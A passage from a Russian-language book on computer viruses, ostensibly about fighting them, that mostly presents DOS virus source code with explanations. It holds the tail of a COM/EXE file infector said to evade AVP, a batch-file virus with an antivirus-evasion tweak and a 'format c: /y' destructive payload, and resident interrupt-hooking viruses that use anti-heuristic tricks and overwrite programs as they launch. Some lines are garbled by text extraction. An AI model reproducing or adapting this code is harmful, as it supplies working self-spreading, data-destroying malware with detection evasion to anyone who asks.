Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
|
|
51 |
|
|
||
|
add cx,END_VIRUS-START_VIRUS+3; Добавляем размер вируса |
||
|
cmp ax,cx |
; сравним ax и cx |
|
|
jnz INFECT_COM |
; |
Если здоровый, то заразим его |
ANOTHER: |
mov ah,4fh |
; |
Ищем новую жертву |
|
jmp short FINDNEXT |
; |
|
END_SEARCH: |
retn |
; |
|
INFECT_COM: |
|
|
|
; Сохраняем первые три байта оригинального заголовка *.COM файла |
|||
|
lea si,[bp+BUFFER] |
; |
|
|
lea di,[bp+COM_START] |
; Сохраним их в переменную COM_START |
|
|
movsw |
; |
|
|
movsb |
|
|
; Вычисляем длину перехода на тело вируса |
|
|
|
; В ax хранится размер файла |
|
|
|
|
mov cx,3 |
; |
Кол-во байт в самом JMP |
|
sub ax,cx |
; |
размер файла - 3 |
|
mov byte ptr [si-3],0e9h |
; |
Первым байтом нового заголовка будет |
jmp |
|
|
|
|
mov word ptr [si-2],ax |
; |
Остальными двумя смещение перехода |
|
jmp DONE_INFECTION |
; |
|
INFECT_EXE: |
|
|
|
; Сохраним оригинальные CS:IP и SS:SP. |
|
|
|
|
les ax,dword ptr [bp+BUFFER+20] |
; Получим CS:IP |
|
|
mov word ptr [bp+JMPSAVE],ax |
|
; Сохраняем IP |
|
mov word ptr [bp+JMPSAVE+2],es |
|
; Сохраняем CS |
|
les ax,dword ptr [bp+BUFFER+14] |
; Получим SS:SP |
|
|
mov word ptr [bp+STACKSAVE],es |
|
; Сохраняем SP |
|
mov word ptr [bp+STACKSAVE+2],ax ; Сохраняем SS |
||
; Получим размер заголовка в байтах |
|
|
|
|
mov ax,word ptr [bp+BUFFER+8] ; |
Получим размер заголовка |
|
|
mov cl,4 |
; |
Переведем параграфы в байты |
|
shl ax,cl |
; |
Умножением на 16 |
|
xchg ax,bx |
; Кладем размер заголовка в bx |
|
; Получим размер файла |
|
|
|
|
les ax,[bp+offset DTA+26] |
; |
Получим размер файла |
|
mov dx,es |
; |
в формате DX:AX |
|
push ax |
; Сохраним размер файла |
|
|
push dx |
|
|
|
sub ax,bx |
; Отнимем от него |
|
|
sbb dx,0 |
; размер заголовка |
|
|
mov cx,16 |
; |
Переведем в форму сегмент:смещение |
|
div cx |
; |
|
; Сохраним новую точку входа (CS:IP) в заголовке.
mov word ptr [bp+BUFFER+20],dx; Сохраняем IP mov word ptr [bp+BUFFER+22],ax; Сохраняем CS
52 |
DOS вирусы |
|
|
; Сохраним указатель на стэк (SS:SP) в заголовке.
mov word ptr [bp+BUFFER+14],ax; Сохраняем SS mov word ptr [bp+BUFFER+16],ID; Сохраняем SP
pop dx |
; Восстановим размер файла |
pop ax |
|
add ax,END_VIRUS-START_VIRUS |
; Добавим длину вируса к размеру файла |
adc dx,0 |
; |
push ax |
; Сохраняем AX |
mov cl,9 |
; Делим AX |
shr ax,cl |
; íà 512 |
ror dx,cl |
|
stc |
; |
adc dx,ax |
; |
pop ax |
; Восстанавливаем AX |
and ah,1 |
; mod 512 |
; Сохраняем новый размер файла в заголовке. |
|
mov word ptr [bp+BUFFER+4],dx ; Сохраняем новый размер файла mov word ptr [bp+BUFFER+2],ax
push cs |
; Сохраняем ES |
pop es |
|
mov cx,24 |
|
push bx |
|
DONE_INFECTION: |
|
push cx |
|
call OPEN |
; Открываем файл |
; Запишим новый заголовок в файл. |
|
mov ah,40h |
; DOS-функция записи в файл |
int 1h |
; Антиэвристика |
pop cx |
; кол-во записываемых байт |
lea dx,[bp+BUFFER] |
; Пишем из буфера |
int 21h |
; |
; Устанавливаем указатель в конец файла |
|
mov ax,4202h |
; |
xor cx,cx |
; Устанавливаем указатель в конец файла |
cwd |
; |
int 21h |
; |
; Дописываем вирус в конец файла |
|
mov ah,40h |
|
lea dx,[bp+START_VIRUS] |
|
mov cx,END_VIRUS-START_VIRUS |
|
int 21h |
|
; Close the file. |
|
mov ah,3eh |
; DOS-функция закрыть файл |
int 21h |
; |
pop bx |
|
DOS вирусы |
|
|
53 |
|
|
|
|
BOMB_DONE: |
mov |
ah,09h |
; |
|
lea |
dx,[bp+msg] |
; Выведем сообщение |
|
int |
21h |
; |
|
jmp |
QUIT |
; Вернем управление оригинальной программе |
; Процедура открытия файла |
|
||
OPEN |
proc near |
|
|
|
mov ax,3d02h |
; DOS-функция открыть файл на чтение/запись |
|
|
int |
1h |
|
|
lea |
dx,[bp+DTA+30] |
; |
|
int |
21h |
; |
|
xchg ax,bx |
; Кладем указатель на файл в bx |
|
|
retn |
|
; Возврат |
OPEN |
endp |
|
|
; Дальше идет область |
данных |
|
|
COM_MASK |
db '*.com',0 |
; маска *.COM файла |
|
EXE_MASK |
db '*.exe',0 |
; маска *.EXE файла |
|
COM_START |
db 0cdh,20h,0 |
; Заголовок зараженного файла |
|
START |
endp |
|
|
END_VIRUS |
equ |
$ |
; Метка конца вируса |
; Все, что идет после |
этой строки, в тело вируса не включается |
||
BUFFER |
db 24 dup(?) |
; временный буффер |
|
DTA |
db 43 dup(?) |
; |
|
ENDHEAP: |
|
|
|
|
end |
MAIN |
|
;--------------------------------------------- |
|
|
|
Вот мы и рассмотрели комбо-паразит. Как видите, ничего сложного в нем нет. AVP, как собственно, и другими антивирусами, он не обнаруживается. Подробно что-то в нем комментировать я не вижу смысла, так как по от-
дельности мы подробно рассмотрели паразитизм *.com и *.exe файлов. Лечение комбо-паразита усложняется лишь тем, что придется анализиро-
вать больше файлов и сочетать приемы лечения *.com и *.exe паразитов.
3.4. Простейшие *.BAT
Сейчас мы рассмотрим написание скриптового вируса на BATCH языке. Этот скриптовый язык — аналог всем известного языка SHELL под UNIX системы.
По своей сути *.bat файлы являются обыкновенным списком DOS-команд (ну не совсем обыкновенным). В данных файлах присутствуют структуры: if, goto, for, т. е. на самом деле это язык программирования, но его описание не наша тема. Мы рассмотрим написание простейшего вируса на BATCH языке.
Рассмотрим вирус:
rem ----------------------------------------------
@echo off
for %%i in (*.bat) do copy %0 %%i @echo ::[This IS *.BAT Virus]::
rem ----------------------------------------------
54 DOS вирусы
Вот и все, простейший *.bat overwriter готов. В это, конечно, сложно поверить, но реально весь вирус заключается в строке с циклом for.
Но об этом позднее. Начнем рассмотрение данного вируса с первой строки. В первой и последней строчке (они начинаются с rem) содержится коммен-
тарий.
Все строки в *.bat файлах считаются комментарием, если начинаются с rem. Следующая строка «@echo off» выключает вывод на монитор всех последующих команд. И наконец, самая главная строка «for %%i in (*.bat) do copy %0 %%i». В данной строке происходит поиск всех *.bat файлов в текущей директо-
рии и копирование вируса на их место.
В предпоследней строке выводится сообщение о том, что это вирус, инфицирующий *.bat файлы.
Но с этим вирусом есть одна маленькая проблемка: AVP его идентифицирует как «BAT.silly.d». То есть замечательно опознает как вирус и, наверное, даже лечить захочет.
Опознание нашего вируса происходит из-за применения в цикле маски *.bat.
Для обхода антивирусной защиты мы создадим переменную окружения и подставим ее в цикл.
Рассмотрим вирус:
rem -----------------------------------------
@echo off set BAT=bat
for %%i in (*.%BAT%) do copy %0 %%i @echo ::[This IS *.BAT Virus]::
rem -------------------------------------------
После данной модификации наш вирус обнаруживаться антивирусами перестал.
Но нам этого ведь мало: даже если наш вирус заразит все *.bat файлы на компьютере, ничего особо страшного не случится.
Для устрашения пользователя можно добавить немного деструкции к вирусу, например удаление всех файлов в текущей директории или форматирование винчестера.
Рассмотрим вирус:
rem --------------------------------------------
@echo off set BAT=bat
for %%i in (*.%BAT%) do copy %0 %%i @echo ::[This IS *.BAT Virus]::
@echo off format c: /y
rem --------------------------------------------
Вот это уже посерьезнее.
Существует множество вариантов реализации *.bat вирусов, некоторые пишут вирусы на Ассемблере и затем уже вставляют внутрь *.bat файла в качест-
DOS вирусы |
55 |
|
|
ве debug скрипта. Мы с вами разобрались с наипростейшей реализацией *.bat вируса.
Борьба с данным вирусом довольно примитивна:
1)идентифицировать вирус по маске;
2)удалить вирус.
Ôó í ê ö è è ì à ñ ê è ð î â ê è è ó ñ ê î ð å í è ÿ
ýï è ä å ì è è
Глава 4 Резидентность
Что же такое резидентность? Давайте рассмотрим аналогию. Обычная программа, когда завершает свою работу, выгружает себя из памяти. Резидентная же программа после завершения работы оставляет какую-то часть программного кода в памяти. Резидентные программы в большинстве случаев перехватывают какие-нибудь прерывания, чтобы по какому-нибудь событию продолжить свое выполнение.
Что же резидентность дает разработчикам вирусов? Для чего они могут ее использовать? Во-первых, они могут во много раз усилить эпидемию, если будут заражать каждый файл, запущенный пользователем или открытый им для чтения/записи. Но это не все, что им дает данная техника. Она открывает перед ними возможности стелс-вирусов.
Итак, рассмотрим алгоритм простейшей резидентной программы.
1.Программа размещает в памяти какую-то свою часть.
2.Подменяет обработчик прерывания (чтобы реагировать на определенные действия пользователя).
3.Завершает свою работу, оставаясь резидентной (TSR — terminate stay resident).
Разберемся более подробно с этим алгоритмом на примере.
;---------------------------------------------- |
|
|
|
|
.model tiny |
|
|
|
|
.code |
|
|
|
|
org |
100h |
|
|
|
start: |
|
|
|
|
|
mov |
ax,3521h |
|
; Получить вектор 21 прерывания |
|
int |
21h |
|
|
|
mov |
word ptr [int21_addr],bx |
; Сохранить адрес 21 прерывания |
|
|
mov |
word ptr [Int21_addr+02h],es ; |
||
|
mov |
ah,25h |
; Установить наш обработчик 21 прерывания |
|
|
int |
1h |
; Антиэвристика |
|
|
lea |
dx,int21_virus |
; В dx должно быть смещение на обработчик |
|
|
int |
21h |
|
|
56 |
|
|
|
DOS вирусы |
|
|
|
|
|
|
|
mov |
dx,71 |
; При вызове функции TSR DOS в dx должно быть кол-во |
|
|
int |
27h |
; байт программы, остающихся резидентными |
|
|
|
|
; в данном случае вся программа |
int21_virus proc |
near |
; Наш обработчик 21 прерывания |
||
|
|
cmp |
ah,4bh |
; Программа запускается или загружается? |
|
|
jne |
int21_exit |
; Нет? Тогда возвратим управление оригинальному |
|
|
|
|
; обработчику |
|
|
push |
cs |
; Положим CS в стек |
|
|
pop |
ds |
; Загрузим из стека CS в DS (теперь CS=DS) |
|
|
mov |
ah,09h |
; Значит, все-таки файл запущен. Выведем |
|
|
lea |
dx,msg |
; сообщение и возвратим управление оригинальному |
|
|
|
|
; обработчику |
|
|
int21_exit: |
|
|
|
|
db |
0eah |
; Это код команды JMP |
code_end: |
|
|
|
|
int21_addr |
dd |
? |
; Адрес 21 прерывания |
|
msg |
db |
'Hello i am resident programm $' ; Собственно сообщение, которое будем выводить |
||
|
|
endp |
|
|
end |
|
start |
|
|
;---------------------------------------------- |
|
|
|
|
Что же эта программа делает? Сначала она подменяет DOS-обработчик 21 прерывания собственным и после этого вся садится в память и завершает исполнение методом «прервать, остаться резидентной» (TSR — terminate stay resident). Если же запускается какая-то программа (функция 4bh, 21 прерывание), то управление получает вирусный обработчик, выводит строку приветствия и возвращает управление оригинальному обработчику (программа, которую запускали, не запускается, так как в вирусном обрабочике это не предусмотрено).
Разберем более подробно данную программу:
;---------------------------------------------- |
|
|
mov |
ax,3521h |
; Получить вектор 21 прерывания |
int |
21h |
|
mov |
word ptr [int21_addr],bx |
; Сохранить адрес 21 прерывания |
mov |
word ptr [int21_addr+02h],es ; |
|
;---------------------------------------------- |
|
|
Этот кусок кода сохраняет адрес оригинального обработчика 21 прерывания. Это происходит при помощи стандартной DOS-функции 35h, номер прерывания которого мы хотим получить. Адрес должен загружать в al — в нижний байт регистра ax. После завершения работы прерывания в регистре bx хранятся первые два байта смещения на обработчик, а в es — сегмент обработчика. Все это мы сохраняем в переменную int21_addr для последующего возвращения управления оригинальному обработчику.
;---------------------------------------------- |
|
|
|
mov |
ah,25h |
; Установить наш обработчик |
21 прерывания |
lea |
dx,int21_virus |
; В dx должно быть смещение |
на обработчик |
int |
21h |
|
|
;---------------------------------------------- |
|
|
|
DOS вирусы |
57 |
|
|
В данном блоке DOS-функцией 25h устанавливается новый обработчик 21 прерывания, в регистре dx должно быть смещение на новый обработчик.
;---------------------------------------------- |
|
|
mov |
dx,72 |
; При вызове функции TSR DOS в dx должно быть кол-во |
int |
27h |
; байт программы, остающихся резидентными |
|
|
; в данном случае вся программа |
;---------------------------------------------- |
|
|
Здесь вызывается DOS функция TSR — прервать, остаться резидентной. Резидентными остаются 72 байта данной программы, т. е. вся она.
;---------------------------------------------- |
|
|
|
int21_virus |
proc |
near |
; Наш обработчик 21 прерывания |
cmp |
ah,4bh |
; Программа запускается или загружается? |
|
jne |
int21_exit |
; Нет? Тогда возвратим управление оригинальному |
|
|
|
|
; обработчику |
push |
cs |
; Положим CS в стек |
|
pop |
ds |
; Загрузим из стека CS в DS (теперь CS=DS) |
|
mov |
ah,09h |
; Значит, все-таки файл запущен. Выведем |
|
lea |
dx,msg |
; сообщение и возвратим управление оригинальному |
|
|
|
|
; обработчику |
int21_exit: |
|
|
|
db |
|
0eah |
; Это код комманды JMP |
code_end: |
|
|
|
int21_addr |
dd |
? |
; Адрес 21 прерывания |
msg db |
'Hello i am resident programm $' ; Собственно сообщение, которое будем выводить |
||
endp ;----------------------------------------------
Здесь в обработчике прерывания идет проверка на запуск программы. Если программа запускается, то выводится сообщение. Если программа не запускается, то остальные функции DOS обрабатывает оригинальный обработчик 21 прерывания. Рассмотрим теперь алгоритм резидентного вируса.
1.Проверка на присутствие в памяти (в простейшем случае может не присутствовать)
2.Выделение области памяти для вирусного тела.
3.Перенос вирусного тела в память.
4.Подмена обработчика прерывания вирусным обработчиком.
5.Возвращение управления программе, из которой вирус стартовал (в простейшем случае может не присутствовать).
Теперь давайте нашу простую резидентную программу преобразуем в простейший резидентный вирус. Что же в нашей программе нужно изменить, чтобы она стала вирусом? Да почти ничего! Нужно всего лишь вывод приветствия заменить на запись вирусного тела в стартующую программу. Также желательно (но не необходимо) добавить проверку на присутствие в памяти.
Рассмотрим листинг:
;----------------------------------------------
.model tiny
.code
org 100h
58 |
|
|
|
DOS вирусы |
|
|
|
|
|
start: |
|
|
|
|
|
mov |
ax,7357 |
; Проверка на присутствие в памяти |
|
|
int |
21h |
; |
|
|
cmp |
bx,7357 |
; Если мы в памяти, то |
|
|
jne |
next |
; |
|
|
ret |
|
; завершаем программу |
|
next: |
|
|
|
|
|
mov |
ax,3521h |
; Получить вектор 21 прерывания |
|
|
int |
21h |
|
|
|
mov |
word ptr [int21_addr],bx |
; Сохраним адрес 21 прерывания |
|
|
mov |
word ptr [Int21_addr+02h],es ; |
||
|
mov |
ah,25h |
; Установить наш обработчик 21 прерывания |
|
|
lea |
dx,int21_virus |
; В dx должно быть смещение на обработчик |
|
|
int |
1h |
; Антиэвристика |
|
|
int |
21h |
|
|
|
mov |
dx,67 |
; При вызове функции TSR DOS в dx должно быть кол-во |
|
|
int |
27h |
; байт программы, остающихся резидентными, - |
|
|
|
|
; в данном случае вся программа |
|
int21_virus |
proc |
near |
; Вирусный обработчик прерывания |
|
|
cmp |
ax,7357 |
; Проверка на присутствие. Если нас зовут, |
|
|
jne |
n0 |
; |
|
|
mov |
bx,7357 |
; тогда откликнемся |
|
n0: |
|
|
|
|
|
cmp |
ah,4bh |
; Если запущена/загружена программа |
|
|
jne |
int21_exit |
; Нет, отдадим управление оригинальному обработчику |
|
|
mov |
ax,3d02h |
; Все-таки запущена, тогда |
|
|
int |
21h |
; откроем ее файл для чтения/записи |
|
|
xchg |
ax,bx |
; и положим хэндл файла в bx |
|
|
push |
cs |
; Приравняем сегмент данных сегменту кода |
|
|
pop |
ds |
; |
|
|
mov |
ah,40h |
; Запишем в файл |
|
|
lea |
dx,start |
; свое тело, затирая оригинальные байты программы |
|
|
mov |
cx,code_end-start |
|
|
int21_exit: |
|
|
|
|
|
db |
0eah |
; Это код комманды JMP |
|
code_end: |
|
|
|
|
int21_addr |
dd |
? |
; Адрес оригинального 21 прерывания |
|
|
endp |
|
|
|
end |
start |
|
|
|
;---------------------------------------------- |
|
|
|
|
Давайте разберемся, как производится проверка на присутствие вируса в памяти и для чего.
В начале программы перед посадкой в память вызывается функция DOS 7357, которой на самом деле не существует, но если вирус находится в памяти, то он ответит данной функции, поместив в регистр bx аналогичное значение. Это делается для того, чтобы вирус по многу раз не усаживался в оперативную память.
DOS вирусы |
59 |
|
|
Проверка на присутствие выглядит следующим образом:
;---------------------------------------------- |
|
|
mov |
ax,7357 |
; Проверка на присутствие в памяти |
int |
21h |
; |
cmp |
bx,7357 |
; Если мы в памяти, то |
jne |
next |
; |
ret |
|
; завершаем программу |
;---------------------------------------------- |
|
|
Если вирус в памяти присутствует, то программа завершает свое выполне-
íèå.
А вот та часть вирусного обработчика 21 прерывания, которая отвечает за ответ при проверке на присутствие в памяти:
;---------------------------------------------- |
|
|
cmp |
ax,7357 |
; Проверка на присутсвие. Если нас зовут, |
jne |
n0 |
; |
mov |
bx,7357 |
; тогда откликнемся |
;---------------------------------------------- |
|
|
При вызове функции 7357 в регистр bx помещается аналогичное значение.
Âчем же заключается главный недостаток данного вируса? Он заключается
âтом, что при использовании 27 прерывания (TSR), работа данной программы завершается, но большинству вирусов-паразитов нужно не прерывать программу, а передать ей управление. В этом заключается один большой демаскирующий эффект вируса данного типа.
Второй же недостаток — это то, что в начале при запуске программы она заражается и не запускается: перед заражением следует запустить данную программу и только после этого заражать. Все равно даже эта поправка не одура- чит пользователя, потому что файл после инфицирования перестанет функционировать должным образом. Именно по этой причине в большинстве случаев не используют 27 прерывание. Чаще всего для размещения вируса в памяти используют MCB (Memory Control Block).
Приведенный ниже вирус внедряется в память путем выделения памяти че- рез MCB, а затем напрямую подменяет оригинальный обработчик 21 прерывания на свой. При запуске программы он проверяет, не *.exe ли программа запущена путем проверки первых двух байт (в *.exe файлах первые два байта обязательно «MZ»).
Взглянем на листинг:
;---------------------------------------------- |
|
|
|
code |
segment |
|
|
|
assume |
cs:code,ds:code |
|
|
org |
100h |
|
|
.286 |
|
; этот режим необходим для использования |
|
|
|
; pusha, popa |
blank: |
db |
0e9h,0,0 |
; jmp на start (чтобы не было заражения |
|
|
|
; самого себя) |
start: |
call |
delta |
; Этот call необходим |
delta: |
pop |
bp |
; для получения дельта-смещения |
60 |
|
DOS вирусы |
|
|
|
int |
1h |
; Антиэвристика |
sub |
bp,offset delta |
; Для этого используем регистр bp |
mov |
ah,099h |
; |
int |
21h |
; Проверка на присутствие в памяти |
cmp |
bh,099h |
; Если мы находимся в памяти, то передадим |
je |
first3 |
; управление оригинальной программе |
sub |
word ptr cs:[2],80h |
; Значит, нас в памяти нет, тогда садимся |
mov |
ax,cs |
; Устанавливаем ax, чтобы указывал на cs |
dec |
ax |
; Уменьшим ax на 1, теперь он указывает на |
mov |
ds,ax |
; MCB, положим в ds - ax |
sub |
word ptr ds:[3],80h |
; отгрызем себе памяти 2 кб |
xor |
ax,ax |
; положим в ax - 0 |
mov |
ds,ax |
; поместим 0 в ds |
sub |
word ptr ds:[413h],2 |
; добавочные BIOS данные 2 кб |
mov |
ax,word ptr ds:[413h] |
; поместим их в ax |
mov |
cl,6 |
; положим в cl - 6 |
shl |
ax,cl |
; Умножим доступную память на 64 |
mov |
es,ax |
; результат в es |
push |
cs |
; настроим через стек |
pop |
ds |
; ds íà cs |
xor |
di,di |
; обнулим di |
lea |
si,[bp+start] |
; откуда начинаем посадку в память |
(start) |
|
|
mov |
cx,finished-start |
; кол-во байт для посадки в память (весь |
|
|
; вирус) |
rep |
movsb |
; Садимся в память |
xor |
ax,ax |
; Обнулим ax |
mov |
ds,ax |
; Положим ax в ds |
lea |
ax,new21 |
; Делаем так, чтобы ax указывал на новый |
|
|
; обработчик 21 прерывания |
sub |
ax,offset start |
; отнимем смещение от начала (start) |
mov |
bx,es |
; положим экстрасегмент в bx |
cli |
|
; выключаем прерывания |
xchg |
ax,word ptr ds:[84h] |
; переключаемся на новый обработчик |
xchg |
bx,word ptr ds:[86h] |
; |
mov |
word ptr es:[oi21-offset start],ax ; и сохраняем старый |
|
mov |
word ptr es:[oi21+2-offset start],bx ; |
|
sti |
|
; включаем прерывания |
push |
cs cs |
; настраиваем ds и es через стек, чтобы |
pop |
ds es |
; они указывали на cs |
first3: lea |
si,[bp+saved] |
; si указывает на оригинальные байты |
mov |
di,100h |
; положим в di 100h |
push |
di |
; и затем это значение поместим в стек |
movsw |
|
; восстановим 2 оригинальных байта |
movsb |
|
; восстановим 1 оригинальный байт |
retn |
|
; возвратим управление по адресу 100h |
|
|
; т. е. его получит оригинальная программа |
new21: |
|
; Новый обработчик 21 прерывания |
pusha |
|
; положим в стек все регистры |
push |
ds |
; положим в стек ds |
